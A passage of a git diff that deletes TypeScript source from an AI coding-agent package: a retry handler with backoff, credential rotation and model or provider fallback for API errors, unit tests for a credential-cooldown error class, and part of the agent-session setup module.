- readonly fallbackResolver: FallbackResolver; - getModel: () => Model | undefined; - getSessionId: () => string; - emit: (event: AgentSessionEvent) => void; - /** Called when the retry handler switches to a fallback model */ - onModelChange: (model: Model) => void; - /** Optional: check if the claude-code CLI provider is ready (installed + authed). - * Injected from the app layer to preserve package boundary. */ - isClaudeCodeReady?: () => boolean; -} - -export class RetryHandler { - private _retryAbortController: AbortController | undefined = undefined; - private _retryAttempt = 0; - private _retryPromise: Promise | undefined = undefined; - private _retryResolve: (() => void) | undefined = undefined; - private _retryGeneration = 0; - private _continueTimeout: ReturnType | undefined = - undefined; - - constructor(private readonly _deps: RetryHandlerDeps) {} - - /** Current retry attempt (0 if not retrying) */ - get retryAttempt(): number { - return this._retryAttempt; - } - - /** Whether auto-retry is currently in progress */ - get isRetrying(): boolean { - return this._retryPromise !== undefined; - } - - /** Whether auto-retry is enabled */ - get autoRetryEnabled(): boolean { - return this._deps.settingsManager.getRetryEnabled(); - } - - /** Toggle auto-retry setting */ - setAutoRetryEnabled(enabled: boolean): void { - this._deps.settingsManager.setRetryEnabled(enabled); - } - - /** - * Create a retry promise synchronously for agent_end events. - * Must be called synchronously from the agent event handler before - * any async processing, so that waitForRetry() doesn't miss in-flight retries. - */ - createRetryPromiseForAgentEnd( - messages: Array<{ role: string } & Record>, - ): void { - if (this._retryPromise) return; - - const settings = this._deps.settingsManager.getRetrySettings(); - if (!settings.enabled) return; - - const lastAssistant = this._findLastAssistantInMessages(messages); - if (!lastAssistant || !this.isRetryableError(lastAssistant)) return; - - this._retryPromise = new Promise((resolve) => { - this._retryResolve = resolve; - }); - } - - /** - * Handle a successful assistant response by resetting retry state. - * Call this when an assistant message completes without error. - */ - handleSuccessfulResponse(): void { - if (this._retryAttempt > 0) { - this._deps.emit({ - type: "auto_retry_end", - success: true, - attempt: this._retryAttempt, - }); - this._retryAttempt = 0; - this._resolveRetry(); - } - } - - /** - * Check if an error is retryable (overloaded, rate limit, server errors). - * Context overflow errors are NOT retryable (handled by compaction instead). - */ - isRetryableError(message: AssistantMessage): boolean { - if (message.stopReason !== "error" || !message.errorMessage) return false; - - // Context overflow is handled by compaction, not retry - const contextWindow = this._deps.getModel()?.contextWindow ?? 0; - if (isContextOverflow(message, contextWindow)) return false; - - const err = message.errorMessage; - // "temporarily backed off" is intentionally excluded: it is an internally- - // generated error from getApiKey() when credentials are in a backoff window. - // Re-entering the retry handler for that message creates a cascade of empty - // error entries in the session file, breaking resume (#3429). - return /overloaded|rate.?limit|too many requests|402|429|500|502|503|504|service.?unavailable|server.?error|internal.?error|connection.?error|connection.?refused|connection.?lost|other side closed|fetch failed|upstream.?connect|reset before headers|terminated|retry delay|network.?(?:is\s+)?unavailable|credentials.*expired|requires more credits|can only afford|insufficient credits|not enough credits|extra usage is required|(?:out of|no) extra usage|third.party.*draw from extra|third.party.*not.*available|no capacity|capacity.*available/i.test( - err, - ); - } - - /** - * Handle retryable errors with exponential backoff. - * When multiple credentials are available, marks the failing credential - * as backed off and retries immediately with the next one. - * @returns true if retry was initiated, false if max retries exceeded or disabled - */ - async handleRetryableError(message: AssistantMessage): Promise { - const settings = this._deps.settingsManager.getRetrySettings(); - if (!settings.enabled) { - this._resolveRetry(); - return false; - } - - // Retry promise is created synchronously in createRetryPromiseForAgentEnd. - // Keep a defensive fallback here in case a future refactor bypasses that path. - if (!this._retryPromise) { - this._retryPromise = new Promise((resolve) => { - this._retryResolve = resolve; - }); - } - - // Try credential fallback before counting against retry budget. - const retryGeneration = this._retryGeneration; - if (this._deps.getModel() && message.errorMessage) { - // Third-party subscription block (#3772): Anthropic blocks third-party apps - // from using Pro/Max subscription quotas. If the claude-code CLI provider is - // available, switch to it immediately — credential rotation won't help. - if (this._isThirdPartyBlock(message.errorMessage)) { - const switched = this._tryClaudeCodeFallback(message, retryGeneration); - if (switched) return true; - // CLI not available — fall through to standard error handling - } - - const errorType = this._classifyErrorType(message.errorMessage); - const isRateLimit = errorType === "rate_limit"; - const isQuotaError = errorType === "quota_exhausted"; - - // Credit-aware retry (OpenRouter-style 402 affordability errors): - // when provider reports "can only afford N", lower maxTokens and retry - // on the same model before rotating credentials/providers. - if (isQuotaError) { - const adjusted = this._tryAffordableMaxTokensRetry( - message, - retryGeneration, - ); - if (adjusted) return true; - } - - // Credential rotation — only for transient rate limits (#3430). - // Quota errors ("Extra usage is required") are account-level billing - // gates; rotating to another credential on the same account won't help - // and the 30-minute backoff blocks all provider requests needlessly. - if (isRateLimit) { - const provider = this._deps.getModel()!.provider; - const authMode = this._deps.modelRegistry.getProviderAuthMode(provider); - const hasAlternate = - authMode === "externalCli" || authMode === "none" - ? false - : this._deps.modelRegistry.authStorage.markUsageLimitReached( - provider, - this._deps.getSessionId(), - { errorType }, - ); - - if (hasAlternate) { - this._removeLastAssistantError(); - - this._deps.emit({ - type: "auto_retry_start", - attempt: this._retryAttempt + 1, - maxAttempts: settings.maxRetries, - delayMs: 0, - errorMessage: `${message.errorMessage} (switching credential)`, - }); - - // Retry immediately with the next credential - don't increment _retryAttempt - this._scheduleContinue(retryGeneration); - - return true; - } - } - - // Fresh model reselection — for rate limits, quota errors, or auth errors - // once the same-model retry budget has been meaningfully exercised. - const isAuthError = errorType === "auth_error"; - if (isRateLimit || isQuotaError || isAuthError) { - // For quota errors with a retry-after hint, wait before switching providers. - // Only wait if the reset is very short (< 5s); otherwise falling back to - // another provider is faster and keeps autonomous mode throughput up. - const QUOTA_WAIT_THRESHOLD_MS = 5_000; - if ( - isQuotaError && - message.retryAfterMs !== undefined && - message.retryAfterMs > 0 && - message.retryAfterMs <= QUOTA_WAIT_THRESHOLD_MS - ) { - const cap = settings.maxDelayMs > 0 ? settings.maxDelayMs : Infinity; - if (message.retryAfterMs <= cap) { - this._deps.emit({ - type: "auto_retry_start", - attempt: this._retryAttempt + 1, - maxAttempts: settings.maxRetries, - delayMs: message.retryAfterMs, - errorMessage: `${message.errorMessage} (waiting for quota reset)`, - }); - - this._removeLastAssistantError(); - this._retryAbortController = new AbortController(); - try { - await sleep( - message.retryAfterMs, - this._retryAbortController.signal, - ); - } catch { - // Aborted during sleep - if (retryGeneration !== this._retryGeneration) { - this._retryAbortController = undefined; - return false; - } - const attempt = this._retryAttempt; - this._retryAttempt = 0; - this._retryAbortController = undefined; - this._deps.emit({ - type: "auto_retry_end", - success: false, - attempt, - finalError: "Retry cancelled", - }); - this._resolveRetry(); - return false; - } - this._retryAbortController = undefined; - this._scheduleContinue(retryGeneration); - return true; - } - } - const provider = this._deps.getModel()!.provider; - const authMode = this._deps.modelRegistry.getProviderAuthMode(provider); - const shouldReselectImmediately = - isQuotaError || - isAuthError || - this._isCapacityError(message.errorMessage) || - (isRateLimit && authMode === "externalCli"); - if (shouldReselectImmediately) { - return this._tryFreshModelSelection( - message, - errorType, - retryGeneration, - ); - } - } - } - - this._retryAttempt++; - - const errorType = message.errorMessage - ? this._classifyErrorType(message.errorMessage) - : "unknown"; - const isRateLimit = errorType === "rate_limit"; - const isQuotaError = errorType === "quota_exhausted"; - const isAuthError = errorType === "auth_error"; - const reselectionThreshold = Math.min(settings.maxRetries, 3); - if ( - (isRateLimit || isQuotaError || isAuthError) && - this._retryAttempt >= reselectionThreshold - ) { - return this._tryFreshModelSelection(message, errorType, retryGeneration); - } - - if (this._retryAttempt > settings.maxRetries) { - this._deps.emit({ - type: "auto_retry_end", - success: false, - attempt: this._retryAttempt - 1, - finalError: message.errorMessage, - }); - this._retryAttempt = 0; - this._resolveRetry(); - return false; - } - - // Use server-requested delay when available, capped by maxDelayMs. - // Fall back to exponential backoff when no server hint is present. - const exponentialDelayMs = - settings.baseDelayMs * 2 ** (this._retryAttempt - 1); - let delayMs: number; - if (message.retryAfterMs !== undefined) { - const cap = settings.maxDelayMs > 0 ? settings.maxDelayMs : Infinity; - if (message.retryAfterMs > cap) { - this._deps.emit({ - type: "auto_retry_end", - success: false, - attempt: this._retryAttempt - 1, - finalError: - `Rate limit reset in ${Math.ceil(message.retryAfterMs / 1000)}s (max: ${Math.ceil(cap / 1000)}s). ${message.errorMessage || ""}`.trim(), - }); - this._retryAttempt = 0; - this._resolveRetry(); - return false; - } - delayMs = message.retryAfterMs; - } else { - delayMs = exponentialDelayMs; - } - - this._deps.emit({ - type: "auto_retry_start", - attempt: this._retryAttempt, - maxAttempts: settings.maxRetries, - delayMs, - errorMessage: message.errorMessage || "Unknown error", - }); - - this._removeLastAssistantError(); - - // Wait with exponential backoff (abortable) - this._retryAbortController = new AbortController(); - try { - await sleep(delayMs, this._retryAbortController.signal); - } catch { - // Aborted during sleep. If the retry generation already advanced, this - // cancellation was handled externally (e.g. explicit model switch). - if (retryGeneration !== this._retryGeneration) { - this._retryAbortController = undefined; - return false; - } - const attempt = this._retryAttempt; - this._retryAttempt = 0; - this._retryAbortController = undefined; - this._deps.emit({ - type: "auto_retry_end", - success: false, - attempt, - finalError: "Retry cancelled", - }); - this._resolveRetry(); - return false; - } - this._retryAbortController = undefined; - - // Retry via continue() - use setTimeout to break out of event handler chain - this._scheduleContinue(retryGeneration); - - return true; - } - - /** Cancel in-progress retry */ - abortRetry(): void { - const hadRetry = - this._retryPromise !== undefined || - this._retryAbortController !== undefined || - this._continueTimeout !== undefined; - if (!hadRetry) return; - - const attempt = this._retryAttempt > 0 ? this._retryAttempt : 1; - this._retryGeneration++; - if (this._continueTimeout) { - clearTimeout(this._continueTimeout); - this._continueTimeout = undefined; - } - if (this._retryAbortController) { - this._retryAbortController.abort(); - this._retryAbortController = undefined; - } - this._retryAttempt = 0; - this._deps.emit({ - type: "auto_retry_end", - success: false, - attempt, - finalError: "Retry cancelled", - }); - this._resolveRetry(); - } - - /** - * Wait for any in-progress retry to complete. - * Returns immediately if no retry is in progress. - */ - async waitForRetry(): Promise { - if (this._retryPromise) { - await this._retryPromise; - } - } - - /** Resolve the pending retry promise */ - resolveRetry(): void { - this._resolveRetry(); - } - - // ========================================================================= - // Private helpers - // ========================================================================= - - private _resolveRetry(): void { - if (this._retryResolve) { - this._retryResolve(); - this._retryResolve = undefined; - this._retryPromise = undefined; - } - } - - private _scheduleContinue(retryGeneration: number): void { - if (this._continueTimeout) { - clearTimeout(this._continueTimeout); - } - this._continueTimeout = setTimeout(() => { - this._continueTimeout = undefined; - if (retryGeneration !== this._retryGeneration) return; - this._deps.agent.continue().catch(() => {}); - }, 0); - } - - private _findLastAssistantInMessages( - messages: Array<{ role: string } & Record>, - ): AssistantMessage | undefined { - for (let i = messages.length - 1; i >= 0; i--) { - const message = messages[i]; - if (message.role === "assistant") { - return message as AssistantMessage; - } - } - return undefined; - } - - /** - * Classify an error message into a usage-limit error type for credential backoff. - */ - private _classifyErrorType(errorMessage: string): UsageLimitErrorType { - const err = errorMessage.toLowerCase(); - // Long-context entitlement errors are billing gates, not transient rate limits. - // Must be checked before the generic 429/rate_limit regex. - if (/extra usage is required|long context required/i.test(err)) - return "quota_exhausted"; - if ( - /requires more credits|can only afford|insufficient credits|not enough credits|credit balance/i.test( - err, - ) - ) - return "quota_exhausted"; - if (/quota|billing|exceeded.*limit|usage.*limit/i.test(err)) - return "quota_exhausted"; - if (/rate.?limit|too many requests|429|529|overloaded/i.test(err)) - return "rate_limit"; - // Provider-side capacity/server load — the server has no available - // capacity for this model (e.g. "No capacity available for model X"). - // Treat as rate_limit so the fallback chain kicks in immediately. - if (/no capacity|capacity.*available|server.*busy|too busy/i.test(err)) - return "rate_limit"; - if ( - /500|502|503|504|server.?error|internal.?error|service.?unavailable/i.test( - err, - ) - ) - return "server_error"; - if ( - /401|authentication.*error|invalid.*api.?key|api.?key.*invalid|api.?key.*expired|failed to authenticate|unauthorized/i.test( - err, - ) - ) - return "auth_error"; - return "unknown"; - } - - private _isCapacityError(errorMessage: string): boolean { - return /no capacity|capacity.*available|server.*busy|too busy/i.test( - errorMessage, - ); - } - - private async _tryFreshModelSelection( - message: AssistantMessage, - errorType: UsageLimitErrorType, - retryGeneration: number, - ): Promise { - const replacement = await this._deps.fallbackResolver.findFallback( - this._deps.getModel()!, - errorType, - ); - - if (replacement) { - const previousModel = this._deps.getModel()!; - this._deps.agent.setModel(replacement.model); - this._deps.onModelChange(replacement.model); - this._removeLastAssistantError(); - - this._deps.emit({ - type: "fallback_provider_switch", - from: `${previousModel.provider}/${previousModel.id}`, - to: `${replacement.model.provider}/${replacement.model.id}`, - reason: replacement.reason, - }); - - this._deps.emit({ - type: "auto_retry_start", - attempt: Math.max(this._retryAttempt, 1), - maxAttempts: this._deps.settingsManager.getRetrySettings().maxRetries, - delayMs: 0, - errorMessage: `${message.errorMessage} (${replacement.reason})`, - }); - - this._scheduleContinue(retryGeneration); - return true; - } - - if (errorType === "quota_exhausted") { - const downgraded = this._tryLongContextDowngrade( - message, - retryGeneration, - ); - if (downgraded) return true; - - this._deps.emit({ - type: "fallback_chain_exhausted", - reason: `No replacement model available for ${this._deps.getModel()!.provider}/${this._deps.getModel()!.id}`, - }); - this._deps.emit({ - type: "auto_retry_end", - success: false, - attempt: this._retryAttempt, - finalError: message.errorMessage, - }); - this._retryAttempt = 0; - this._resolveRetry(); - return false; - } - - return false; - } - - /** - * Attempt a same-model retry by reducing maxTokens when provider reports - * an affordability cap (e.g., "can only afford 329"). - */ - private _tryAffordableMaxTokensRetry( - message: AssistantMessage, - retryGeneration: number, - ): boolean { - const currentModel = this._deps.getModel(); - if (!currentModel || !message.errorMessage) return false; - - // Example: "can only afford 329" - const match = message.errorMessage.match(/can only afford\s+([\d,]+)/i); - if (!match?.[1]) return false; - - const affordable = Number.parseInt(match[1].replace(/,/g, ""), 10); - if (!Number.isFinite(affordable) || affordable <= 0) return false; - - // Leave a small buffer so slight input variance doesn't immediately re-fail. - const safetyBuffer = Math.min( - 64, - Math.max(16, Math.floor(affordable * 0.1)), - ); - const targetMaxTokens = Math.max(64, affordable - safetyBuffer); - const downgradedMaxTokens = Math.min( - currentModel.maxTokens, - targetMaxTokens, - ); - if (downgradedMaxTokens >= currentModel.maxTokens) return false; - - const downgradedModel = { - ...currentModel, - maxTokens: downgradedMaxTokens, - }; - - this._deps.agent.setModel(downgradedModel); - this._deps.onModelChange(downgradedModel); - this._removeLastAssistantError(); - - this._deps.emit({ - type: "fallback_provider_switch", - from: `${currentModel.provider}/${currentModel.id} (maxTokens=${currentModel.maxTokens})`, - to: `${downgradedModel.provider}/${downgradedModel.id} (maxTokens=${downgradedModel.maxTokens})`, - reason: `credit-aware retry: provider affordable cap ${affordable} tokens`, - }); - - this._deps.emit({ - type: "auto_retry_start", - attempt: this._retryAttempt + 1, - maxAttempts: this._deps.settingsManager.getRetrySettings().maxRetries, - delayMs: 0, - errorMessage: `${message.errorMessage} (reducing max tokens)`, - }); - - this._scheduleContinue(retryGeneration); - return true; - } - - /** - * Attempt to downgrade a long-context model (e.g. claude-opus-4-6[1m]) to its - * base model (claude-opus-4-6) when the account lacks the long-context billing - * entitlement. Returns true if the downgrade was initiated. - */ - private _tryLongContextDowngrade( - message: AssistantMessage, - retryGeneration: number, - ): boolean { - const currentModel = this._deps.getModel(); - if (!currentModel) return false; - - // Only attempt downgrade for [1m] (or similar long-context) model IDs - const match = currentModel.id.match(/^(.+)\[\d+m\]$/); - if (!match) return false; - - const baseModelId = match[1]; - const baseModel = this._deps.modelRegistry.find( - currentModel.provider, - baseModelId, - ); - if (!baseModel) return false; - - const previousId = currentModel.id; - this._deps.agent.setModel(baseModel); - this._deps.onModelChange(baseModel); - this._removeLastAssistantError(); - - this._deps.emit({ - type: "fallback_provider_switch", - from: `${currentModel.provider}/${previousId}`, - to: `${baseModel.provider}/${baseModel.id}`, - reason: `long context downgrade: ${previousId} → ${baseModel.id}`, - }); - - this._deps.emit({ - type: "auto_retry_start", - attempt: this._retryAttempt + 1, - maxAttempts: this._deps.settingsManager.getRetrySettings().maxRetries, - delayMs: 0, - errorMessage: `${message.errorMessage} (long context downgrade)`, - }); - - this._scheduleContinue(retryGeneration); - - return true; - } - - /** - * Detect Anthropic subscription block errors (#3772). - * These are hard policy blocks, not transient rate limits — credential - * rotation will not help. Matches both the explicit "third-party" message - * and the "out of extra usage" variant that subscription users receive. - */ - private _isThirdPartyBlock(errorMessage: string): boolean { - return /third[- .]party.*(?:draw from extra|not.*available|plan limits|not permitted|cannot be used|not supported)|(?:out of|no) extra usage/i.test( - errorMessage, - ); - } - - /** - * Attempt to switch to the claude-code CLI provider when the current - * Anthropic provider is blocked by the third-party policy (#3772). - * Returns true if the switch was made and retry scheduled. - */ - private _tryClaudeCodeFallback( - message: AssistantMessage, - retryGeneration: number, - ): boolean { - if (!this._deps.isClaudeCodeReady?.()) return false; - - const currentModel = this._deps.getModel(); - if (!currentModel) return false; - - // Only attempt claude-code fallback when the current provider is anthropic. - // Other providers may produce similar error text but should not be rerouted. - if (currentModel.provider !== "anthropic") return false; - - // Find the same model ID under the claude-code provider - const ccModel = this._deps.modelRegistry.find( - "claude-code", - currentModel.id, - ); - if (!ccModel) return false; - - const previousProvider = currentModel.provider; - this._deps.agent.setModel(ccModel); - this._deps.onModelChange(ccModel); - this._removeLastAssistantError(); - - this._deps.emit({ - type: "fallback_provider_switch", - from: `${previousProvider}/${currentModel.id}`, - to: `claude-code/${ccModel.id}`, - reason: - "Anthropic subscription blocked for third-party apps — routing through Claude Code CLI", - }); - - this._deps.emit({ - type: "auto_retry_start", - attempt: this._retryAttempt + 1, - maxAttempts: this._deps.settingsManager.getRetrySettings().maxRetries, - delayMs: 0, - errorMessage: `${message.errorMessage} (switching to Claude Code CLI)`, - }); - - this._scheduleContinue(retryGeneration); - return true; - } - - /** Remove the last assistant error message from agent state */ - private _removeLastAssistantError(): void { - const messages = this._deps.agent.state.messages; - if ( - messages.length > 0 && - messages[messages.length - 1].role === "assistant" - ) { - this._deps.agent.replaceMessages(messages.slice(0, -1)); - } - } -} diff --git a/packages/pi-coding-agent/src/core/sdk.test.ts b/packages/pi-coding-agent/src/core/sdk.test.ts deleted file mode 100644 index 5287c1238..000000000 --- a/packages/pi-coding-agent/src/core/sdk.test.ts +++ /dev/null @@ -1,125 +0,0 @@ -// pi-coding-agent / CredentialCooldownError unit tests -// Copyright (c) 2026 Jeremy McSpadden - -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { - CredentialCooldownError, - shouldUseExternalToolExecution, -} from "./sdk.js"; - -// ─── CredentialCooldownError ────────────────────────────────────────────────── - -describe("CredentialCooldownError", () => { - it("is an instance of Error", () => { - const err = new CredentialCooldownError("anthropic"); - assert.ok(err instanceof Error); - }); - - it("has name set to CredentialCooldownError", () => { - const err = new CredentialCooldownError("anthropic"); - assert.equal(err.name, "CredentialCooldownError"); - }); - - it("has code set to AUTH_COOLDOWN", () => { - const err = new CredentialCooldownError("anthropic"); - assert.equal(err.code, "AUTH_COOLDOWN"); - }); - - it("message includes the provider name", () => { - const err = new CredentialCooldownError("openai"); - assert.ok( - err.message.includes("openai"), - `Expected message to include provider "openai", got: ${err.message}`, - ); - }); - - it("message mentions cooldown window", () => { - const err = new CredentialCooldownError("anthropic"); - assert.ok( - /cooldown window/i.test(err.message), - `Expected message to mention "cooldown window", got: ${err.message}`, - ); - }); - - it("retryAfterMs is undefined when not provided", () => { - const err = new CredentialCooldownError("anthropic"); - assert.equal(err.retryAfterMs, undefined); - }); - - it("retryAfterMs holds the provided value when specified", () => { - const err = new CredentialCooldownError("anthropic", 30_000); - assert.equal(err.retryAfterMs, 30_000); - }); - - it("retryAfterMs is 0 when explicitly passed as 0", () => { - const err = new CredentialCooldownError("anthropic", 0); - assert.equal(err.retryAfterMs, 0); - }); - - it("code property is readonly and always AUTH_COOLDOWN regardless of provider", () => { - for (const provider of ["anthropic", "openai", "google", "openrouter"]) { - const err = new CredentialCooldownError(provider); - assert.equal( - err.code, - "AUTH_COOLDOWN", - `code should be AUTH_COOLDOWN for provider "${provider}"`, - ); - } - }); - - it("different providers produce different messages", () => { - const err1 = new CredentialCooldownError("anthropic"); - const err2 = new CredentialCooldownError("openai"); - assert.notEqual(err1.message, err2.message); - }); - - it("can be caught as an Error in a try/catch", () => { - let caught: unknown; - try { - throw new CredentialCooldownError("anthropic", 5_000); - } catch (e) { - caught = e; - } - assert.ok(caught instanceof Error); - assert.ok(caught instanceof CredentialCooldownError); - assert.equal((caught as CredentialCooldownError).retryAfterMs, 5_000); - }); - - it("code property is detectable via plain object check (cross-process pattern)", () => { - const err = new CredentialCooldownError("anthropic", 15_000); - // Simulate cross-process serialization: only plain properties survive JSON round-trip - const plain = { - code: err.code, - retryAfterMs: err.retryAfterMs, - message: err.message, - }; - assert.equal(plain.code, "AUTH_COOLDOWN"); - assert.equal(plain.retryAfterMs, 15_000); - }); -}); - -// ─── External Tool Execution Ownership ─────────────────────────────────────── - -describe("shouldUseExternalToolExecution", () => { - it("returns true for claude-code because its adapter can execute tools", () => { - assert.equal( - shouldUseExternalToolExecution({ provider: "claude-code" }), - true, - ); - }); - - it("returns false for google-gemini-cli so Gemini tool calls stay in the Pi harness", () => { - assert.equal( - shouldUseExternalToolExecution({ provider: "google-gemini-cli" }), - false, - ); - }); - - it("returns false for other CLI-style providers unless their adapter owns tools", () => { - assert.equal( - shouldUseExternalToolExecution({ provider: "openai-codex" }), - false, - ); - }); -}); diff --git a/packages/pi-coding-agent/src/core/sdk.ts b/packages/pi-coding-agent/src/core/sdk.ts deleted file mode 100644 index 922276fc0..000000000 --- a/packages/pi-coding-agent/src/core/sdk.ts +++ /dev/null @@ -1,627 +0,0 @@ -import { existsSync } from "node:fs"; -import { join } from "node:path"; -import type { Model } from "@singularity-forge/pi-ai"; - -/** - * Lightweight PATH scan for the `claude` binary — no subprocess, no network. - * Mirrors the check in src/resources/extensions/sf/doctor-providers.ts so the - * legacy Anthropic OAuth self-heal path can only trigger when the user has a - * working Claude Code CLI to fall back to. - */ -function isClaudeCodeBinaryInPath(): boolean { - const pathDirs = (process.env.PATH ?? "").split(":"); - return pathDirs.some((dir) => dir && existsSync(join(dir, "claude"))); -} - -/** - * Structured error thrown when all credentials for a provider are in a - * backoff window. Carries typed metadata so callers (e.g. the auto-loop) - * can make informed retry decisions instead of string-matching the message. - */ -export class CredentialCooldownError extends Error { - readonly code = "AUTH_COOLDOWN" as const; - /** Milliseconds until the earliest credential becomes available, or undefined if unknown. */ - readonly retryAfterMs: number | undefined; - - constructor(provider: string, retryAfterMs?: number) { - super( - `All credentials for "${provider}" are in a cooldown window. ` + - `Please wait a moment and try again, or switch to a different provider.`, - ); - this.name = "CredentialCooldownError"; - this.retryAfterMs = retryAfterMs; - } -} - -/** - * Returns whether a provider executes tool calls inside its own adapter rather than - * returning them for the Pi harness to dispatch locally. - * - * Purpose: keep credential/auth transport modes separate from tool execution - * ownership so CLI-auth providers such as google-gemini-cli still run tools - * through Pi's local harness. - * - * Consumer: createAgentSession when configuring the core Agent loop. - */ -export function shouldUseExternalToolExecution( - model: Pick, "provider">, -): boolean { - return model.provider === "claude-code"; -} - -import { - Agent, - type AgentMessage, - type ThinkingLevel, -} from "@singularity-forge/pi-agent-core"; -import type { Message } from "@singularity-forge/pi-ai"; -import { getAgentDir, getDocsPath } from "../config.js"; -import { AgentSession } from "./agent-session.js"; -import { AuthStorage } from "./auth-storage.js"; -import { DEFAULT_THINKING_LEVEL } from "./defaults.js"; -import type { - ExtensionRunner, - LoadExtensionsResult, - ToolDefinition, -} from "./extensions/index.js"; -import { convertToLlm } from "./messages.js"; -import { ModelRegistry } from "./model-registry.js"; -import { findInitialModel } from "./model-resolver.js"; -import type { ResourceLoader } from "./resource-loader.js"; -import { DefaultResourceLoader } from "./resource-loader.js"; -import { SessionManager } from "./session-manager.js"; -import { SettingsManager } from "./settings-manager.js"; -import { time } from "./timings.js"; -import { - allTools, - bashTool, - codingTools, - createBashTool, - createCodingTools, - createEditTool, - createFindTool, - createGrepTool, - createHashlineCodingTools, - createHashlineEditTool, - createHashlineReadTool, - createLsTool, - createReadOnlyTools, - createReadTool, - createWriteTool, - editTool, - findTool, - grepTool, - hashlineCodingTools, - hashlineEditTool, - hashlineReadTool, - lsTool, - readOnlyTools, - readTool, - type Tool, - type ToolName, - writeTool, -} from "./tools/index.js"; - -export interface CreateAgentSessionOptions { - /** Working directory for project-local discovery. Default: process.cwd() */ - cwd?: string; - /** Global config directory. Default: ~/.pi/agent */ - agentDir?: string; - - /** Auth storage for credentials. Default: AuthStorage.create(agentDir/auth.json) */ - authStorage?: AuthStorage; - /** Model registry. Default: new ModelRegistry(authStorage, agentDir/models.json) */ - modelRegistry?: ModelRegistry; - - /** Model to use. Default: from settings, else first available */ - model?: Model; - /** Thinking level. Default: from settings, else 'medium' (clamped to model capabilities) */ - thinkingLevel?: ThinkingLevel; - /** Models available for cycling (Ctrl+P in interactive mode) */ - scopedModels?: Array<{ model: Model; thinkingLevel?: ThinkingLevel }>; - - /** Built-in tools to use. Default: codingTools [read, grep, find, ls, bash, edit, write, lsp] */ - tools?: Tool[]; - /** Custom tools to register (in addition to built-in tools). */ - customTools?: ToolDefinition[]; - - /** Resource loader. When omitted, DefaultResourceLoader is used. */ - resourceLoader?: ResourceLoader; - - /** Session manager. Default: SessionManager.create(cwd) */ - sessionManager?: SessionManager; - - /** Settings manager. Default: SettingsManager.create(cwd, agentDir) */ - settingsManager?: SettingsManager; - - /** Optional: check if the claude-code CLI provider is ready (installed + authed). - * Passed to RetryHandler for third-party block recovery (#3772). */ - isClaudeCodeReady?: () => boolean; - /** When false, model changes do NOT write defaultProvider/defaultModel back to - * settings.json. main.ts sets this to false for print/one-shot mode so - * `sf -p --model X "msg"` cannot mutate the persisted default (#4251). */ - persistModelChanges?: boolean; -} - -/** Result from createAgentSession */ -export interface CreateAgentSessionResult { - /** The created session */ - session: AgentSession; - /** Extensions result (for UI context setup in interactive mode) */ - extensionsResult: LoadExtensionsResult; - /** Warning if session was restored with a different model than saved */ - modelFallbackMessage?: string; -} - -// Re-exports - -export type { - ExtensionAPI, - ExtensionCommandContext, - ExtensionContext, - ExtensionFactory, - SlashCommandInfo, - SlashCommandLocation, - SlashCommandSource, - ToolDefinition, -} from "./extensions/index.js"; -export type { PromptTemplate } from "./prompt-templates.js"; -export type { Skill } from "./skills.js"; -export type { Tool } from "./tools/index.js"; - -export { - allTools as allBuiltInTools, - bashTool, - codingTools, - createBashTool, - // Tool factories (for custom cwd) - createCodingTools, - createEditTool, - createFindTool, - createGrepTool, - createHashlineCodingTools, - createHashlineEditTool, - createHashlineReadTool, - createLsTool, - createReadOnlyTools, - createReadTool, - createWriteTool, - editTool, - findTool, - grepTool, - // Hashline edit mode - hashlineCodingTools, - hashlineEditTool, - hashlineReadTool, - lsTool, - readOnlyTools, - // Pre-built tools (use process.cwd()) - readTool, - writeTool, -}; - -// Helper Functions - -function getDefaultAgentDir(): string { - return getAgentDir(); -} - -/** - * Create an AgentSession with the specified options. - * - * @example - * ```typescript - * // Minimal - uses defaults - * const { session } = await createAgentSession(); - * - * // With explicit model - * import { getModel } from '@singularity-forge/pi-ai'; - * const { session } = await createAgentSession({ - * model: getModel('anthropic', 'claude-opus-4-5'), - * thinkingLevel: 'high', - * }); - * - * // Continue previous session - * const { session, modelFallbackMessage } = await createAgentSession({ - * continueSession: true, - * }); - * - * // Full control - * const loader = new DefaultResourceLoader({ - * cwd: process.cwd(), - * agentDir: getAgentDir(), - * settingsManager: SettingsManager.create(), - * }); - * await loader.reload(); - * const { session } = await createAgentSession({ - * model: myModel, - * tools: [readTool, bashTool], - * resourceLoader: loader, - * sessionManager: SessionManager.inMemory(), - * }); - * ``` - */ -export async function createAgentSession( - options: CreateAgentSessionOptions = {}, -): Promise { - const cwd = options.cwd ?? process.cwd(); - const agentDir = options.agentDir ?? getDefaultAgentDir(); - let resourceLoader = options.resourceLoader; - - // Use provided or create AuthStorage and ModelRegistry - const authPath = options.agentDir ? join(agentDir, "auth.json") : undefined; - const modelsPath = options.agentDir - ? join(agentDir, "models.json") - : undefined; - const authStorage = options.authStorage ?? AuthStorage.create(authPath); - const modelRegistry = - options.modelRegistry ?? new ModelRegistry(authStorage, modelsPath); - - const settingsManager = - options.settingsManager ?? SettingsManager.create(cwd, agentDir); - const sessionManager = options.sessionManager ?? SessionManager.create(cwd); - - if (!resourceLoader) { - resourceLoader = new DefaultResourceLoader({ - cwd, - agentDir, - settingsManager, - }); - await resourceLoader.reload(); - time("resourceLoader.reload"); - } - - // Flush provider registrations queued during extension loading so that - // extension models (e.g. pi-claude-cli) are visible in the registry before - // findInitialModel() runs. bindCore() repeats this flush as a safety net - // for any late-arriving registrations. - const { runtime: extensionRuntime } = resourceLoader.getExtensions(); - for (const { - name, - config, - } of extensionRuntime.pendingProviderRegistrations) { - modelRegistry.registerProvider(name, config); - } - extensionRuntime.pendingProviderRegistrations = []; - - // Check if session has existing data to restore - const existingSession = sessionManager.buildSessionContext(); - const hasExistingSession = existingSession.messages.length > 0; - const hasThinkingEntry = sessionManager - .getBranch() - .some((entry) => entry.type === "thinking_level_change"); - - let model = options.model; - let modelFallbackMessage: string | undefined; - - // If session has data, try to restore model from it - if (!model && hasExistingSession && existingSession.model) { - const restoredModel = modelRegistry.find( - existingSession.model.provider, - existingSession.model.modelId, - ); - if (restoredModel && (await modelRegistry.getApiKey(restoredModel))) { - model = restoredModel; - } - if (!model) { - modelFallbackMessage = `Could not restore model ${existingSession.model.provider}/${existingSession.model.modelId}`; - } - } - - // Flush extension provider registrations so extension-provided models (e.g. claude-code/*) - // are available in the registry before model resolution. Without this, findInitialModel() - // cannot find extension models and falls back to built-in providers (#3534). - const extensionsForModelResolution = resourceLoader.getExtensions(); - for (const { name, config } of extensionsForModelResolution.runtime - .pendingProviderRegistrations) { - modelRegistry.registerProvider(name, config); - } - 